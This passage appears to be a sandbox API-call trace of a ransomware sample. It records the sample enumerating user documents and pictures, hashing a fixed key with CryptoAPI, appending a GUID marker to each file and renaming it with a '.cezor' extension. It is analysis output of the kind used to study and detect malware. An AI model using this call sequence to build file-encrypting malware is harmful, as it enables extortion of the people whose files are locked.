32 [0061.415] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.415] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.415] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.416] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.416] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.416] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.416] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.416] GetLastError () returned 0x0 [0061.416] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.416] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.416] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.416] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc045, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.416] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.416] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.416] CloseHandle (hObject=0x5c4) returned 1 [0061.417] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\K_RwYW.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\k_rwyw.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\K_RwYW.odt.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\k_rwyw.odt.cezor")) returned 1 [0061.418] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.418] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.419] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34075630, ftCreationTime.dwHighDateTime=0x1d4d236, ftLastAccessTime.dwLowDateTime=0xda95c7a0, ftLastAccessTime.dwHighDateTime=0x1d4c61c, ftLastWriteTime.dwLowDateTime=0xda95c7a0, ftLastWriteTime.dwHighDateTime=0x1d4c61c, nFileSizeHigh=0x0, nFileSizeLow=0x11f3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NxEBIllQ9 cZLQxHAnf.xlsx", cAlternateFileName="NXEBIL~1.XLS")) returned 1 [0061.419] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\NxEBIllQ9 cZLQxHAnf.xlsx") returned=".xlsx" [0061.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\NxEBIllQ9 cZLQxHAnf.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\nxebillq9 czlqxhanf.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.419] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=73535) returned 1 [0061.419] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.421] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11f19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.421] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.422] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x11f3f, lpOverlapped=0x0) returned 1 [0061.423] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.423] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.423] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.423] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.423] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.423] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.423] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.424] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.424] GetLastError () returned 0x0 [0061.424] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.424] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.424] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x11f3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.424] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.424] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.424] CloseHandle (hObject=0x5c4) returned 1 [0061.425] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\NxEBIllQ9 cZLQxHAnf.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\nxebillq9 czlqxhanf.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\NxEBIllQ9 cZLQxHAnf.xlsx.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\nxebillq9 czlqxhanf.xlsx.cezor")) returned 1 [0061.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.426] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.427] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.427] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8a6a20, ftCreationTime.dwHighDateTime=0x1d4cda8, ftLastAccessTime.dwLowDateTime=0x11bdbb00, ftLastAccessTime.dwHighDateTime=0x1d4cbab, ftLastWriteTime.dwLowDateTime=0x11bdbb00, ftLastWriteTime.dwHighDateTime=0x1d4cbab, nFileSizeHigh=0x0, nFileSizeLow=0x15c3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xkuwOm0rA.ods", cAlternateFileName="XKUWOM~1.ODS")) returned 1 [0061.427] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\xkuwOm0rA.ods") returned=".ods" [0061.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\xkuwOm0rA.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\xkuwom0ra.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.427] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=89151) returned 1 [0061.427] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.430] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15c19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.430] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.430] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x15c3f, lpOverlapped=0x0) returned 1 [0061.431] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.431] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.431] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.431] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.432] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.432] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.432] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.432] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.432] GetLastError () returned 0x0 [0061.432] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.432] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.432] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.433] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15c3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.433] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.433] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.433] CloseHandle (hObject=0x5c4) returned 1 [0061.434] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\xkuwOm0rA.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\xkuwom0ra.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\xkuwOm0rA.ods.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\xkuwom0ra.ods.cezor")) returned 1 [0061.434] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.435] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.435] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.435] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb131aa10, ftCreationTime.dwHighDateTime=0x1d4d3f4, ftLastAccessTime.dwLowDateTime=0xd3200290, ftLastAccessTime.dwHighDateTime=0x1d4c60a, ftLastWriteTime.dwLowDateTime=0xd3200290, ftLastWriteTime.dwHighDateTime=0x1d4c60a, nFileSizeHigh=0x0, nFileSizeLow=0xc518, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ypdm7CG6ozW8_F3RQh.pps", cAlternateFileName="YPDM7C~1.PPS")) returned 1 [0061.436] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\ypdm7CG6ozW8_F3RQh.pps") returned=".pps" [0061.436] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\ypdm7CG6ozW8_F3RQh.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\ypdm7cg6ozw8_f3rqh.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.436] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=50456) returned 1 [0061.436] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.441] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc4f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.441] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.442] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xc518, lpOverlapped=0x0) returned 1 [0061.442] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.442] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.442] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.443] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.443] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.443] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.443] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.443] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.443] GetLastError () returned 0x0 [0061.443] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.443] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.443] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.444] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xc518, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.444] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.444] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.444] CloseHandle (hObject=0x5c4) returned 1 [0061.445] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\ypdm7CG6ozW8_F3RQh.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\ypdm7cg6ozw8_f3rqh.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\Rpss_8PAcreSznq0jw9\\ypdm7CG6ozW8_F3RQh.pps.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\rpss_8pacresznq0jw9\\ypdm7cg6ozw8_f3rqh.pps.cezor")) returned 1 [0061.446] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.446] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94cf8 | out: hHeap=0x670000) returned 1 [0061.447] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb131aa10, ftCreationTime.dwHighDateTime=0x1d4d3f4, ftLastAccessTime.dwLowDateTime=0xd3200290, ftLastAccessTime.dwHighDateTime=0x1d4c60a, ftLastWriteTime.dwLowDateTime=0xd3200290, ftLastWriteTime.dwHighDateTime=0x1d4c60a, nFileSizeHigh=0x0, nFileSizeLow=0xc518, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ypdm7CG6ozW8_F3RQh.pps", cAlternateFileName="YPDM7C~1.PPS")) returned 0 [0061.447] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.447] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.447] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.447] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.447] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.448] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.448] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.448] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.448] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\") returned="gJs687PmdwJ\\" [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.448] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\") returned="1oLW\\" [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.448] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.448] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.448] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.448] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.448] PathFindFileNameW (pszPath="") returned="" [0061.448] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.448] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x644d4c50, ftCreationTime.dwHighDateTime=0x1d4cbba, ftLastAccessTime.dwLowDateTime=0x13e9be20, ftLastAccessTime.dwHighDateTime=0x1d4d10e, ftLastWriteTime.dwLowDateTime=0x13e9be20, ftLastWriteTime.dwHighDateTime=0x1d4d10e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.449] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x644d4c50, ftCreationTime.dwHighDateTime=0x1d4cbba, ftLastAccessTime.dwLowDateTime=0x13e9be20, ftLastAccessTime.dwHighDateTime=0x1d4d10e, ftLastWriteTime.dwLowDateTime=0x13e9be20, ftLastWriteTime.dwHighDateTime=0x1d4d10e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.449] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ed4b0b0, ftCreationTime.dwHighDateTime=0x1d4cb9d, ftLastAccessTime.dwLowDateTime=0x21846e0, ftLastAccessTime.dwHighDateTime=0x1d4c83e, ftLastWriteTime.dwLowDateTime=0x21846e0, ftLastWriteTime.dwHighDateTime=0x1d4c83e, nFileSizeHigh=0x0, nFileSizeLow=0x7e05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1m7527vbdeC.gif", cAlternateFileName="1M7527~1.GIF")) returned 1 [0061.449] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.449] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.449] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\1m7527vbdeC.gif") returned=".gif" [0061.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\1m7527vbdeC.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\1m7527vbdec.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.449] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=32261) returned 1 [0061.449] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.452] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7ddf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.452] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.453] RtlAllocateHeap (HeapHandle=0x670000, 